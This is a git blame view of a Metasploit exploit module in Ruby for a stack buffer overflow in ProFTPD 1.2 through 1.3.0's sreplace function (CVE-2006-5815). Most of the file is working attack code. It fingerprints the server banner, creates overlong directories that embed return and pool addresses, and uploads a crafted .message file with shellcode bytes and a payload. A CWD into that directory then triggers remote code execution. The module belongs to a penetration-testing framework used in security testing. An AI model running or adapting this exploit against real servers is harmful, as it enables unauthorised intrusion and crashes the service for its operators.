Files
metasploit-gs/modules/exploits/linux/ftp/proftp_sreplace.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

237 lines
6.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Ftp
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',
'Description' => %q{
This module exploits a stack-based buffer overflow in versions 1.2 through
1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function
within the "src/support.c" file.
2013-08-30 16:28:54 -05:00
The off-by-one heap overflow bug in the ProFTPD sreplace function has been
discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit
this off-by-one bug via MKD command, but failed. We did not work on this bug
since then.
2013-08-30 16:28:54 -05:00
Actually, there are exists at least two bugs in sreplace function, one is the
mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow
via 'sstrncpy(dst,src,negative argument)'.
2013-08-30 16:28:54 -05:00
We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable
version, but the version 1.3.0rc3 introduced some interesting changes, among them:
2013-08-30 16:28:54 -05:00
1. another (integer) overflow in sreplace!
2. now it is possible to reach sreplace stack-based buffer overflow bug via
the "pr_display_file" function!
3. stupid '.message' file display bug
So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
To reach the bug, you need to upload a specially created .message file to a
writeable directory, then do "CWD <writeable directory>" to trigger the invocation
of sreplace function.
Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'
file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.
The exploit is a part of VulnDisco Pack since Dec 2005.
},
'Author' => [
'Evgeny Legerov <admin[at]gleg.net>', # original .pm version (VulnDisco)
'jduck' # Metasploit 3.x port
],
'References' => [
[ 'CVE', '2006-5815' ],
[ 'OSVDB', '68985' ],
[ 'BID', '20992' ],
2018-09-15 18:54:45 -05:00
[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/94' ],
[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/538' ],
[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],
[ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]
],
'DefaultOptions' => {
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' => {
'Space' => 900,
'BadChars' => "\x00\x0a\x0d\x25",
'DisableNops' => true
},
'Platform' => [ 'linux' ],
'Targets' => [
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# This special one comes first since we dont want its index changing.
#
[
'Debug',
{
'Ret' => 0x41414242,
'PoolAddr' => 0x43434545
}
],
#
# specific targets
#
[
'ProFTPD 1.3.0 (source install) / Debian 3.1',
{
# objdump -D proftpd|grep call|grep edx
'Ret' => 0x804afc8, # call edx
# nm proftpd|grep permanent_pool
'PoolAddr' => 0x80b59f8
}
]
2013-08-30 16:28:54 -05:00
],
'DefaultTarget' => 0,
'DisclosureDate' => '2006-11-26',
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [UNRELIABLE_SESSION]
}
)
)
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])
]
)
end
2013-08-30 16:28:54 -05:00
def check
# NOTE: We don't care if the login failed here...
connect
2013-08-30 16:28:54 -05:00
# We just want the banner to check against our targets..
2014-01-22 11:20:10 -06:00
vprint_status("FTP Banner: #{banner.strip}")
2013-08-30 16:28:54 -05:00
status = CheckCode::Safe
2013-08-30 16:28:54 -05:00
if banner =~ /ProFTPD (1\.[23]\.[^ ])/i
ver = ::Regexp.last_match(1)
_maj, _min, rel = ver.split('.')
relv = rel.slice!(0, 1)
case relv
when '2'
2014-01-24 12:08:23 -06:00
status = CheckCode::Appears
2013-08-30 16:28:54 -05:00
when '3'
# 1.3.x before 1.3.1 is vulnerable
2014-01-24 12:08:23 -06:00
status = CheckCode::Appears
if !rel.empty?
if rel.to_i > 0
status = CheckCode::Safe
else
2014-01-24 12:08:23 -06:00
status = CheckCode::Appears
end
end
end
end
2013-08-30 16:28:54 -05:00
disconnect
return status
end
2013-08-30 16:28:54 -05:00
def exploit
connect_login
2013-08-30 16:28:54 -05:00
# Use a copy of the target
mytarget = target
2013-08-30 16:28:54 -05:00
if target['auto']
mytarget = nil
2013-08-30 16:28:54 -05:00
print_status('Automatically detecting the target...')
if (banner && (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i)))
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
fail_with(Failure::NoTarget, 'No matching target')
end
2013-08-30 16:28:54 -05:00
regexp = Regexp.escape(version)
targets.each do |t|
if (t.name =~ /#{regexp}/)
mytarget = t
break
end
end
2013-08-30 16:28:54 -05:00
if !mytarget
fail_with(Failure::NoTarget, 'No matching target')
end
2013-08-30 16:28:54 -05:00
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
end
2013-08-30 16:28:54 -05:00
# puts "attach and press any key"; bleh = $stdin.gets
send_cmd(['CWD', datastore['WRITABLE']])
2013-08-30 16:28:54 -05:00
pwd = send_cmd(['PWD'])
if pwd !~ /257\s"(.+)"/
fail_with(Failure::Unknown, 'Unable to get current working directory')
end
pwd = ::Regexp.last_match(1)
pwd << '/' if pwd[-1, 1] != '/'
2013-08-30 16:28:54 -05:00
dir1 = 'A' * (251 - pwd.length)
send_cmd(['MKD', dir1])
2013-08-30 16:28:54 -05:00
send_cmd(['CWD', dir1])
2013-08-30 16:28:54 -05:00
send_cmd(['PWD'])
2013-08-30 16:28:54 -05:00
dir2 = 'B' * 64
dir2 << [mytarget.ret].pack('V')
dir2 << [mytarget['PoolAddr'] - 4].pack('V')
dir2 << "\xcc" * 28
2013-08-30 16:28:54 -05:00
send_cmd(['DELE', "#{dir2}/.message"])
send_cmd(['DELE', '250'])
send_cmd(['RMD', dir2])
2013-08-30 16:28:54 -05:00
filedata = ''
filedata << 'A'
filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret
filedata << "\x25C" * 11
filedata << 'A'
filedata << payload.encoded
filedata << rand_text_alphanumeric(900 - payload.encoded.length)
filedata << "\x25\x43\x41" * 10
2013-08-30 16:28:54 -05:00
send_cmd(['MKD', dir2])
send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')
2013-08-30 16:28:54 -05:00
# Trigger sreplace overflow
send_cmd(['CWD', dir2])
2013-08-30 16:28:54 -05:00
handler
disconnect
end
end